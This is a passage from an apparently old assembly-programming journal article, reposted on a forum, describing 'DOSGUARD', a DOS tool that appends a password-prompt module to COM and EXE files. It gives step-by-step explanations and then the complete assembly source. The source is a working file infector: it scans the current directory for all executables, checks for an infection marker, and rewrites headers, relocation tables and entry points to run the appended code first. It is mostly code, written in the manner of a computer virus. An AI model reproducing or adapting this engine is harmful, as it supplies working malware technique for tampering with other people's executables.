The same as with COM files, except that the only bytes we actually need are the
first two. With EXE files we will use different methods for determining
previous modification(I try to avoid using the viral term "infection") and for
transferring execution to our code.
EXE MODIFICATION - STEP 2
-------------------------
Check the first two bytes for the EXE signature "MZ". If the file doesn't
start with "MZ," then it isn't a DOS EXE.
cmp word ptr[obytes], 'ZM'
je EXE
EXE MODIFICATION - STEP 3
-------------------------
Now, DOSGUARD simply reads the EXE header into a 28 byte buffer. Later, we
will make the necessary changes to the header and write it back out.
xor cx, cx ;Move the file pointer back
xor dx, dx ;to the beginning of the file
mov ax, 4200h
int 21h
mov cx, 1Ch ;read exe header (28 bytes)
mov dx, offset exehead ;into buffer
mov ah, 3Fh
int 21h
EXE MODIFICATION - STEP 4
-------------------------
We don't use a signature string to mark EXE files. Instead, we compare the
code entry point with the size of the file. If the file has been previously
modified by DOSGUARD, then we know that the distance of the code entry point
from the end of the file will be the length of the code that DOSGUARD adds. To
put things in mathematical terms:
(initial cs * 16) + (size of code DOSGUARD adds) + (size of header)
will equal the size of the file. The initial cs times 16 is the code entry
point, of course. You have to add the header size because it isn't loaded into
memory along with the rest of the code and data.
;Make sure it hasn't already been infected
;If (initial CS * 16) + (size of code) + (size of header) == filesize
; then the file has already been infected
mov ax, word ptr [exehead+22]
mov dx, 16
mul dx
add ax, offset ENDGUARD2 - offset EXEGUARD
adc dx, 0
mov cx, word ptr [exehead+8]
add cx, cx
add cx, cx
add cx, cx
add cx, cx
add ax, cx
adc dx, 0
cmp ax, word ptr cs:[9Ah]
jne EXEOK
cmp dx, word ptr cs:[9Ch]
je NO_INFECT
EXE MODIFICATION - STEP 5
-------------------------
Another simple test that needs to be done is to make sure that the Overlay
Number stored in the EXE header is 0. The code for this is simple.
;Make sure Overlay Number is 0
cmp word ptr [exehead+26], 0
jnz NO_INFECT
EXE MODIFICATION - STEP 6
-------------------------
This part is kind of tricky. There are lots of files out there with the EXE
extension that aren't DOS executables. Both Windows and OS/2 use this
extension as well, for instance. To complicate matters, there isn't an easy
way to automatically distinguish DOS EXEs from the others. The technique that
I use in DOSGUARD is to check the offset of the relocation pointer table and
make sure that it is less than 40h. This should always detect Windows and OS/2
programs, but it sometimes raises false alarms on valid DOS files.
;Make sure it is a DOS EXE (as opposed to windows or OS/2)
cmp word ptr [exehead+24], 40h
jae NO_INFECT
EXE MODIFICATION - STEP 7
-------------------------
Now that we know we have a file that we can modify we just have to determine if
its going to be easy to modify or a real pain. Here's the deal. The
relocation pointer table is always an even multiple of 16 bytes in size. Each
pointer in the table is 4 bytes. For our purposes, we need to add 2 pointers to
the table. That means the table must have at least 8 bytes free in order to
leave it at its current size. If it doesn't have room for two more pointers,
then we will have to make room. That means reading in the whole file after the
table and writing it back out with 16 bytes more space for the table.
To find out if there is enough room, all you have to do is subtract the offset
of the relocation pointer table and the number of entries in the table from the
size of the header. The result is the amount of free space in the table. All
of this information can be found in the handy dandy EXE header. Of course, you
have to take into account the units that each of these values are stored in
(bytes, paragraphs, etc.)
;Check the relocation pointer table to see if there is
;room. If there isn't then we'll have to make room.
mov ax, word ptr [exehead+8];size of header in paragraphs
add ax, ax ;
add ax, ax ;Convert to double words.
sub ax, word ptr [exehead+6];Subtract # of entries each of
add ax, ax ;which is a double word and then
add ax, ax ;convert the final total to bytes.
sub ax, word ptr [exehead+24];If there are 8 bytes left after
cmp ax, 8 ;you subtract the offset to the
jc NOROOM ;reloc table then there is room.
jmp HAVEROOM
EXE MODIFICATION - STEP 8
-------------------------
The first thing to do is move the file pointer to the correct spot just after
the last entry in the relocation pointer table.
xor cx, cx ;Move the file pointer to the end of
mov dx, word ptr [exehead+24] ;the relocation pointer table.
mov ax, word ptr [exehead+6];size of relocation table in doubles
add ax, ax ;* 4 to get bytes
add ax, ax
add dx, ax ;add that to start of table
push dx
mov ax, 4200h
int 21h
Now, DOSGUARD calculates the amount which needs to be written. This code is in
the function called CALC_SIZE. When CALC_SIZE is finished, cx will hold the
number of pages and "lps" will hold the size of the last page since it probably
will not be a full 512 byte page.
;dx holds the position in the file where we want to start reading.
;So, the amount to read in and write back out is equal to the size
;of the file minus dx.
mov cx, word ptr [exehead+2]
mov word ptr [lps], cx ;Copy Last Page Size into lps
mov cx, word ptr [exehead+4];Copy Num Pages into cx
cmp dx, word ptr [lps] ;If bytes to subtract are less than
jbe FINDLPS ;lps then just subtract them and exit
mov ax, dx
xor dx, dx
mov cx, 512
div cx ;ax = pages to subtract
mov cx, word ptr [exehead+4];dx = remainder to subtract from lps
sub cx, ax
cmp dx, word ptr [lps]
jbe FINDLPS
sub cx, 1
mov ax, dx
sub ax, word ptr [lps]
mov dx, 512
sub dx, ax
FINDLPS:
sub word ptr [lps], dx ;Subtract start position and leave
;Num Pages the same
Once you know the amount of code you have to move, you have to come up with a
way to simultaneously read and write from the same file without overwriting
data that hasn't been read yet. DOSGUARD's solution is to use a 16 byte
buffer. DOSGUARD's move loop reads 528 bytes and writes out 512 bytes with each
iteration. In other words, it reads 16 bytes ahead of where it is writing so
that it doesn't overwrite bytes before they're read. DOSGUARD has a number of
functions for reading and writing pages, reading and writing paragraphs, and
moving the file pointer around. It also has one function for moving the 16
bytes at the end of the 528 byte buffer in memory to the front. Well, I'll shut
up now and show you the code for the move loop.
mov dx, offset buffer
call READ_PAGE
mov dx, offset para
call READ_PARA
call DECFP_PAGE
call WRITE_PAGE
call MOVE_PARA
dec cx
cmp cx, 1
je LASTPAGE
MOVELOOP:
mov dx, offset buffer + 16
call READ_PAGE
call DECFP_PAGE
call WRITE_PAGE
call MOVE_PARA
dec cx
cmp cx, 1
jne MOVELOOP
When DOSGUARD gets to the last page, it finishes things off by reading the last
fraction of a page and then writing out those bytes plus the 16 bytes that were
left buffered from the last iteration of the move loop.
LASTPAGE:
sub word ptr [lps], 16
mov cx, word ptr [lps]
mov dx, offset buffer + 16
mov ah, 3Fh
int 21h
push cx
mov dx, cx
neg dx
mov cx, -1
mov ax, 4201h
int 21h
pop cx
add cx, 16
mov dx, offset buffer
mov ah, 40h
int 21h
Last, but not least, there is a little maintanence to do.
;Got to adjust the file size since it will be used later
add word ptr cs:[9Ah], 16
adc word ptr cs:[9Ch], 0
;Increment the header size within the EXE header
add word ptr cs:[exehead+8], 1
;Change Page Count and Last Page Size in EXE header
cmp word ptr [exehead+2], 496
jae ADDPAGE
add word ptr [exehead+2], 16
jmp HAVEROOM
Oh yeah, there is one more condition that needs to be handled here. If the last
page was almost full(496 or more bytes), then adding 16 bytes to the file size
will overflow that page so you have to add a whole new page.
ADDPAGE:
;Adjust the header to add a page if the 16 additional bytes run
;over to a new page.
inc word ptr [exehead+4]
mov ax, 512
sub ax, word ptr [exehead+2]
mov dx, 16
sub dx, ax
mov word ptr [exehead+2], dx
EXE MODIFICATION - STEP 9
-------------------------
Whew! Step 8 was a doozy, but now we're almost done. All Step 9 requires of
us is to save the original segment values from our victim. DOSGUARD saves
these values in the order that they are found within the EXE header.
mov ax, word ptr [exehead+14] ;save orig stack segment
mov [hosts], ax
mov ax, word ptr [exehead+16] ;save orig stack pointer
mov [hosts+2], ax
mov ax, word ptr [exehead+20] ;save orig ip
mov [hostc], ax
mov ax, word ptr [exehead+22] ;save orig cs
mov [hostc+2], ax
EXE MODIFICATION - STEP 10
--------------------------
It will make things a little easier later on if the end of the file we are
about to modify lies on a paragraph boundary. This way the starting ip for the
new code that we're adding will always be zero.
;adjust file length to paragraph boundary
mov cx, word ptr cs:[9Ch]
mov dx, word ptr cs:[9Ah]
or dl, 0Fh
add dx, 1
adc cx, 0
mov cs:[9Ch], cx
mov cs:[9Ah], dx
mov ax, 4200h ;move file pointer to end of file
int 21h ;plus boundary
EXE MODIFICATION - STEP 11
--------------------------
Finally, we can write our code to the file. Just like with the COM file, we
will write our code to the end of the file. The difference is in how we get
there when its time to execute it. With COM files we used a jump. With EXE
files we adjust the starting cs:ip to point to our code.
mov cx, offset ENDGUARD2 - offset EXEGUARD ;write code to end
mov dx, offset EXEGUARD ;of the exe file
mov ah, 40h
int 21h
EXE MODIFICATION - STEP 12
--------------------------
With our code neatly tucked after the host program's code, its time to modify
the EXE header so that our code is the first to execute. We also have to
adjust the size fields in the EXE header to take into account all the code we
just added.
The first thing to is figure out what the starting segment values need to be.
The starting cs will simply be the original file size divided by 16 minus the
header size. The initial ip will be 0 because of Step 11. In DOSGUARD's case
the ss will be the same as the cs and the sp will point to an address 256 bytes
after the end of our code. 256 bytes is plenty of room for DOSGUARD's stack.
mov ax, word ptr cs:[9Ah] ;calculate module's CS
mov dx, word ptr cs:[9Ch] ;ax:dx contains orig file size
mov cx, 16 ;CS = file size / 16 - header size
div cx
sub ax, word ptr [exehead+8];header size in paragraphs
mov word ptr [exehead+22], ax ;ax is now initial cs
mov word ptr [exehead+14], ax ;ax is now initial ss
mov word ptr [exehead+20], 0 ;initial ip
mov word ptr [exehead+16], ENDGUARD2 - EXEGUARD + 100h ;initial sp
This next bit of code calculates the new file size, in pages of course.
;calculate new file size
mov dx, word ptr cs:[9Ch]
mov ax, word ptr cs:[9Ah]
add ax, offset ENDGUARD2 - offset EXEGUARD + 200h
adc dx, 0
mov cx, 200h
div cx
mov word ptr [exehead+4], ax
mov word ptr [exehead+2], dx
add word ptr [exehead+6], 2
EXE MODIFICATION - STEP 13
--------------------------
Now, we should be through with the header so we can write it back out to the
file.
;Write out the new header
mov cx, 1Ch
mov dx, offset exehead
mov ah, 40h
int 21h
EXE MODIFICATION - STEP 14
--------------------------
Last, but not least, we have to modify the relocation pointer table. First,
we need to move the file pointer to where we need to add the new entries.
mov ax, word ptr [exehead+6];Get the # of relocatables
dec ax ;Position to add relocatable equals
dec ax ;(# - 2)*4 + table offset
mov cx, 4
mul cx
add ax, word ptr [exehead+24]
adc dx, 0
mov cx, dx
mov dx, ax
mov ax, 4200h ;move file pointer to position
int 21h
Now, we have to add two pointers to the table. The first points to "hosts,"
which is the stack segment of the original program. The second points to
"hostc+2," which holds the original program's code segment.
;Use exehead as a buffer for relocatables.
;Put two pointers in this buffer, first points to ss in
;hosts and second points to cs in hostc.
mov word ptr [exehead], ENDGUARD2 - EXEGUARD - 10
mov ax, word ptr [exehead+22]
mov word ptr [exehead+2], ax
mov word ptr [exehead+4], ENDGUARD2 - EXEGUARD - 4
mov word ptr [exehead+6], ax
mov cx, 8
mov dx, offset exehead
mov ah, 40h ;Write the 8 bytes.
int 21h
mov ah, 3Eh ;Close the file.
int 21h
RESPONSIBILITIES OF INSERTED CODE
---------------------------------
There are several items which the code module we added must take into
consideration. First of all, when it is finished, the state of registers, etc.
must be exactly what the original program would expect them to be. For
instance, ax is set by DOS to indicate whether or not the Drive ID stored in
the FCBs is valid. So, the value of ax must be preserved by our code. Also,
the original program may expect other registers to be set to initial values
of zero. And of course, the segment registers need to be restored after our
code's execution.
In order to actually restore control to the host, our code must restore ss and
sp to their original values. Then, it jumps to the original cs:ip.
Also, inserted code can't be dependent on absolute addresses for its data.
Therefore, DOSGUARD accesses all data by its offset from the end of the file.
CONCLUSION
----------
Hopefully, i've explained the techniques I used in developing DOSGUARD well
enough for you to develop your own binary modiying programs. As I mentioned at
the beginning of this article, DOSGUARD has a lot a room for improvement. If
you are interested then you should check out my web page and download the
source for ENCGUARD, a more secure version of DOSGUARD. A nice way to extend
DOSGUARD would be to improve on the encryption techniques used in ENCGUARD. If
I ever find the time I would like to write a Win32 version of DOSGUARD which
could safely modify the PE file format. If I ever do embark on such a task,
I'll be sure to let the readers of Assembly Programming Journal know about it.
REFERENCES
----------
"The Giant Black Book of Computer Viruses, 2nd edition" by Mark Ludwig
CONTACT INFORMATION
-------------------
email: jjsimpso@eos.ncsu.edu
web page: http://www4.ncsu.edu/~jjsimpso/index.html
Check out my web page for more information on my research into code
modification. Also, feel free to email me with ideas, corrections,
improvements, etc.
---------------------------BEGIN DOSGUARD.ASM----------------------------------
.model tiny
.code
ORG 100h
START:
jmp BEGINCODE ;Jump the identification string
DB 'CG'
BEGINCODE:
mov dx, offset filter1
call FIND_FILES
mov dx, offset filter2
call FIND_FILES
mov ax, 4C00h ;DOS terminate
int 21h
;-------------------------------------------------------------------------
;Procedure to find and then infect files
;-------------------------------------------------------------------------
FIND_FILES:
mov ah, 4Eh ;Search for files matching filter
int 21h
SLOOP:
jc DONE
mov ax, 3D02h ;Open file R/W
mov dx, 9Eh ;Filename, stored in DTA
int 21h
mov bx, ax ;Save file handle in bx
mov ax, 3F00h ;Read first 5 bytes from file
mov cx, 5
mov dx, offset obytes
int 21h
;Check to see if file is really an EXE
cmp word ptr[obytes], 'ZM'
je EXE
COM:
;Check to see if file is already infected
;if it is, then skip it
cmp word ptr [obytes + 3], 'GC'
je NO_INFECT
;Make sure file isn't too large
mov ax, ds:[009Ah] ;Size of file
add ax, offset ENDGUARD - offset COMGUARD + 100h
jc NO_INFECT ;If ax overflows then don't infect
;If we made it this far then we know the file is safe to modify
call INFECT_COM
jmp NO_INFECT
EXE:
;Read the EXE Header
call READ_HEADER
jc NO_INFECT ;error reading file so skip it
;Make sure it hasn't already been infected
;If (initial CS * 16) + (size of EXEGUARD) + (size of header) == size
; then the file has already been infected
mov ax, word ptr [exehead+22]
mov dx, 16
mul dx
add ax, offset ENDGUARD2 - offset EXEGUARD
adc dx, 0
mov cx, word ptr [exehead+8]
add cx, cx
add cx, cx
add cx, cx
add cx, cx
add ax, cx
adc dx, 0
cmp ax, word ptr cs:[9Ah]
jne EXEOK
cmp dx, word ptr cs:[9Ch]
je NO_INFECT
EXEOK:
;Make sure Overlay Number is 0
cmp word ptr [exehead+26], 0
jnz NO_INFECT
;Make sure it is a DOS EXE (as opposed to windows or OS/2
cmp word ptr [exehead+24], 40h
jae NO_INFECT
call INFECT_EXE
NO_INFECT:
mov ax, 4F00h ;Find next file
int 21h
jmp SLOOP
DONE:
ret
;-------------------------------------------------------------------------
;Procedure to infect COM files
;-------------------------------------------------------------------------
INFECT_COM:
xor cx, cx ;cx = 0
xor dx, dx ;dx = 0
mov ax, 4202h ;Move file pointer to the end of file
int 21h
mov ax, 4000h ;Write the code to the end of file
mov dx, offset COMGUARD
mov cx, offset ENDGUARD - offset COMGUARD
int 21h
mov ax, 4200h ;Move file pointer to beginning of
xor cx, cx ; file to write jump
xor dx, dx
int 21h
;Prepare the jump instruction to be written to beginning of file
xor ax, ax
mov byte ptr [bytes], 0E9h ;opcode for jmp
mov ax, ds:[009Ah] ;size of the file
sub ax, 3 ;size of the jump instruction
mov word ptr [bytes + 1], ax;size of the jump
;Write the jump
mov cx, 5; ;size to be written
mov dx, offset bytes
mov ax, 4000h
int 21h
mov ah, 3Eh ;Close file
int 21h
ret
;-------------------------------------------------------------------------
;Procedure to infect EXE files
;-------------------------------------------------------------------------
INFECT_EXE:
;Check the relocation pointer table to see if there is
;room. If there isn't then we'll have to make room.
mov ax, word ptr [exehead+8];size of header in paragraphs
add ax, ax ;
add ax, ax ;Convert to double words.
sub ax, word ptr [exehead+6];Subtract # of entries each of
add ax, ax ;which is a double word and then
add ax, ax ;convert the final total to bytes.
sub ax, word ptr [exehead+24];If there are 8 bytes left after
cmp ax, 8 ;you subtract the offset to the
jc NOROOM ;reloc table then there is room.
jmp HAVEROOM
NOROOM:
;Not enough room in the relocation table so we are going to
;have to add a paragraph to the table. As a result, we must
;read in the whole file after the relocation table and write
;it back out one paragraph down in memory.
xor cx, cx ;Move the file pointer to the end of
mov dx, word ptr [exehead+24] ;the relocation pointer table.
mov ax, word ptr [exehead+6];size of relocation table in doubles
add ax, ax ;* 4 to get bytes
add ax, ax
add dx, ax ;add that to start of table
push dx
mov ax, 4200h
int 21h
pop dx
call CALC_SIZE
cmp cx, 1
je LASTPAGE
mov dx, offset buffer
call READ_PAGE
mov dx, offset para
call READ_PARA
call DECFP_PAGE
call WRITE_PAGE
call MOVE_PARA
dec cx
cmp cx, 1
je LASTPAGE
MOVELOOP:
mov dx, offset buffer + 16
call READ_PAGE
call DECFP_PAGE
call WRITE_PAGE
call MOVE_PARA
dec cx
cmp cx, 1
jne MOVELOOP
LASTPAGE:
sub word ptr [lps], 16
mov cx, word ptr [lps]
mov dx, offset buffer + 16
mov ah, 3Fh
int 21h
push cx
mov dx, cx
neg dx
mov cx, -1
mov ax, 4201h
int 21h
pop cx
add cx, 16
mov dx, offset buffer
mov ah, 40h
int 21h
;Got to adjust the file size since it will be used later
add word ptr cs:[9Ah], 16
adc word ptr cs:[9Ch], 0
;Increment the header size within the EXE header
add word ptr cs:[exehead+8], 1
;Change Page Count and Last Page Size in EXE header
cmp word ptr [exehead+2], 496
jae ADDPAGE
add word ptr [exehead+2], 16
jmp HAVEROOM
ADDPAGE:
;Adjust the header to add a page if the 16 additional bytes run
;over to a new page.
inc word ptr [exehead+4]
mov ax, 512
sub ax, word ptr [exehead+2]
mov dx, 16
sub dx, ax
mov word ptr [exehead+2], dx
HAVEROOM:
mov ax, word ptr [exehead+14] ;save orig stack segment
mov [hosts], ax
mov ax, word ptr [exehead+16] ;save orig stack pointer
mov [hosts+2], ax
mov ax, word ptr [exehead+20] ;save orig ip
mov [hostc], ax
mov ax, word ptr [exehead+22] ;save orig cs
mov [hostc+2], ax
mov cx, word ptr cs:[9Ch] ;adjust file length to paragraph
mov dx, word ptr cs:[9Ah] ; boundary
or dl, 0Fh
add dx, 1
adc cx, 0
mov cs:[9Ch], cx
mov cs:[9Ah], dx
mov ax, 4200h ;move file pointer to end of file
int 21h ;plus boundary
mov cx, offset ENDGUARD2 - offset EXEGUARD ;write code to end
mov dx, offset EXEGUARD ;of the exe file
mov ah, 40h
int 21h
xor cx, cx ;Move file pointer to beginning of file
xor dx, dx
mov ax, 4200h
int 21h
;adjust the EXE header and then write it back out
mov ax, word ptr cs:[9Ah] ;calculate module's CS
mov dx, word ptr cs:[9Ch] ;ax:dx contains orig file size
mov cx, 16 ;CS = file size / 16 - header size
div cx
sub ax, word ptr [exehead+8];header size in paragraphs
mov word ptr [exehead+22], ax ;ax is now initial cs
mov word ptr [exehead+14], ax ;ax is now initial ss
mov word ptr [exehead+20], 0 ;initial ip
mov word ptr [exehead+16], ENDGUARD2 - EXEGUARD + 100h ;initial sp
mov dx, word ptr cs:[9Ch] ;calculate new size file size
mov ax, word ptr cs:[9Ah]
add ax, offset ENDGUARD2 - offset EXEGUARD + 200h
adc dx, 0
mov cx, 200h
div cx
mov word ptr [exehead+4], ax
mov word ptr [exehead+2], dx
add word ptr [exehead+6], 2
mov cx, 1Ch ;Write out the new header
mov dx, offset exehead
mov ah, 40h
int 21h
;modify relocatables table
mov ax, word ptr [exehead+6];Get the # of relocatables
dec ax ;Position to add relocatable equals
dec ax ;(# - 2)*4 + table offset
mov cx, 4
mul cx
add ax, word ptr [exehead+24]
adc dx, 0
mov cx, dx
mov dx, ax
mov ax, 4200h ;move file pointer to position
int 21h
;Use exehead as a buffer for relocatables.
;Put two pointers in this buffer, first points to ss in
;hosts and second points to cs in hostc.
mov word ptr [exehead], ENDGUARD2 - EXEGUARD - 10
mov ax, word ptr [exehead+22]
mov word ptr [exehead+2], ax
mov word ptr [exehead+4], ENDGUARD2 - EXEGUARD - 4
mov word ptr [exehead+6], ax
mov cx, 8
mov dx, offset exehead
mov ah, 40h ;Write the 8 bytes.
int 21h
mov ah, 3Eh ;Close the file.
int 21h
ret ;Done!
;-------------------------------------------------------------------------
;Procedure to calculate the amount that needs to be written
;-------------------------------------------------------------------------
CALC_SIZE:
;dx holds the position in the file where we want to start reading.
;So, the amount to read in and write back out is equal to the size
;of the file minus dx.
mov cx, word ptr [exehead+2]
mov word ptr [lps], cx ;Copy Last Page Size into lps
mov cx, word ptr [exehead+4];Copy Num Pages into cx
cmp dx, word ptr [lps] ;If bytes to subtract are less than
jbe FINDLPS ;lps then just subtract them and exit
mov ax, dx
xor dx, dx
mov cx, 512
div cx ;ax = pages to subtract
mov cx, word ptr [exehead+4];dx = remainder to subtract from lps
sub cx, ax
cmp dx, word ptr [lps]
jbe FINDLPS
sub cx, 1
mov ax, dx
sub ax, word ptr [lps]
mov dx, 512
sub dx, ax
FINDLPS:
sub word ptr [lps], dx ;Subtract start position and leave
;Num Pages the same
ret
;-------------------------------------------------------------------------
;Procedure to read the EXE Header
;-------------------------------------------------------------------------
READ_HEADER:
xor cx, cx ;Move the file pointer back
xor dx, dx ;to the beginning of the file
mov ax, 4200h
int 21h
mov cx, 1Ch ;read exe header (28 bytes)
mov dx, offset exehead ;into buffer
mov ah, 3Fh
int 21h
ret ;return with cf set properly
;-------------------------------------------------------------------------
;Procedure to read a page
;-------------------------------------------------------------------------
READ_PAGE:
push ax
push cx
mov ah, 3Fh
mov cx, 512
int 21h
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to read a paragraph
;-------------------------------------------------------------------------
READ_PARA:
push ax
push cx
mov ah, 3Fh
mov cx, 16
int 21h
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to write a page
;-------------------------------------------------------------------------
WRITE_PAGE:
push ax
push cx
push dx
mov ah, 40h
mov cx, 512
mov dx, offset buffer
int 21h
pop dx
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to write a paragraph
;-------------------------------------------------------------------------
WRITE_PARA:
push ax
push cx
push dx
mov ah, 40h
mov cx, 16
mov dx, offset buffer
int 21h
pop dx
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to move file pointer back a page
;-------------------------------------------------------------------------
DECFP_PAGE:
push ax
push cx
push dx
mov ax, 4201h
mov cx, -1
mov dx, -512
int 21h
pop dx
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to move file pointer back a para
;-------------------------------------------------------------------------
DEC_PARA:
push ax
push cx
push dx
mov ax, 4201h
mov cx, -1
mov dx, -16
int 21h
pop dx
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to move the paragraph buffer to the front
;-------------------------------------------------------------------------
MOVE_PARA:
push cx
mov si, offset para
mov di, offset buffer
mov cx, 16
rep movsb
pop cx
ret
;-------------------------------------------------------------------------
;Code to add to COM files
;-------------------------------------------------------------------------
COMGUARD:
call GET_START
GET_START:
pop bp
sub bp, offset GET_START
mov ah, 9h ;DOS print string
lea dx, [bp + prompt] ;Print the password prompt
int 21h
lea di, [bp + guess]
xor cx, cx
READLOOP:
mov ah, 7h ;Read without echo
int 21h
inc cx ;Count of characters entered
stosb ;Store guess for comparison later
cmp cx, 10 ;Limit guess to 10 chars including CR
je CHECKPASS
cmp al, 13 ;Quit loop when CR read
jne READLOOP
CHECKPASS:
lea di, [bp + guess] ;Setup for passwd checking loop
lea si, [bp +passwd] ;Setup addresses for cmpsb
xor cx, cx ;Set counter to zero
cld ;Tell cmpsb to increment si and di
CHECKLOOP:
cmpsb ;Compare passwd with guess
jne FAIL ;Abort program if password is wrong
inc cx ;Increment counter
cmp cx, 8 ;Only check first 8 chars
jne CHECKLOOP ;Loop until you've read first 8
SUCCESS:
mov cx, 5
cld
lea si, [bp + obytes]
mov di, 100h
rep movsb
push 100h ;return from the jump to execute
ret ;the host program
FAIL:
mov ah, 9h ;DOS print string
lea dx, [bp + badpass] ;Print bad password msg
int 21h
mov ax, 4C00h
int 21h
prompt DB 'password: ','$'
badpass DB 'Invalid password!','$'
passwd DB 'smcrocks'
guess DB 10 dup (0)
obytes DB 0,0,0,0,0
ENDGUARD:
;-------------------------------------------------------------------------
;Code to add to EXE files
;-------------------------------------------------------------------------
EXEGUARD:
push ax ;Save startup value in ax
push ds ;Save value of ds
mov ax, cs ;Put cs into ds and es
mov ds, ax
mov es, ax
mov bp, offset ENDGUARD2 - offset EXEGUARD
mov ax, [bp-4]
mov ah, 9h ;DOS print string
lea dx, [bp-57] ;Print the password prompt
int 21h
lea di, [bp-20]
xor cx, cx
EREADLOOP:
mov ah, 7h ;Read without echo
int 21h
inc cx ;Count of characters entered
stosb ;Store guess for comparison later
cmp cx, 10 ;Limit guess to 10 chars including CR
je ECHECKPASS
cmp al, 13 ;Quit loop when CR read
jne EREADLOOP
ECHECKPASS:
lea di, [bp-20] ;Setup for passwd checking loop
lea si, [bp-28] ;Setup addresses for cmpsb
xor cx, cx ;Set counter to zero
cld ;Tell cmpsb to increment si and di
ECHECKLOOP:
cmpsb ;Compare passwd with guess
jne EFAIL ;Abort program if password is wrong
inc cx ;Increment counter
cmp cx, 8 ;Only check first 8 chars
jne ECHECKLOOP ;Loop until you've read first 8
ESUCCESS:
pop ds
mov ax, ds
mov es, ax
pop ax
cli
mov ss, word ptr cs:[bp-10]
mov sp, word ptr cs:[bp-8]
sti
xor cx, cx
xor dx, dx
xor bp, bp
xor si, si
xor di, di
lahf
xor ah, ah
sahf
jmp dword ptr cs:[ENDGUARD2-EXEGUARD-6]
EFAIL:
mov ah, 9h ;DOS print string
lea dx, [bp-46] ;Print bad password msg
int 21h
mov ax, 4C00h
int 21h
eprompt DB 'password: ','$'
ebadpass DB 'Invalid password!','$'
epasswd DB 'smcrocks'
eguess DB 10 dup (0)
hosts DW 0, 0
hostc DW 0, 0
delta DW 0
ENDGUARD2:
filter1 DB '*.com',0
filter2 DB '*.exe',0
bytes DB 0,0,0,'CG'
exehead DB 28 dup (0)
buffer DB 512 dup (0)
para DB 16 dup (0)
lps DW 0
END START
---------------------------END DOSGUARD.ASM------------------------------------
赞赏
他的文章
- [转帖]用多媒体学Visual C++ 2008 系统学习VC 2008必备教程 7942
- [下载]新壳 OSP软件平台功能说明 5758
- [讨论]微点不识英文?! 6190
- [推荐]内存清零KILL进程 16147
看原图
赞赏
雪币:
留言: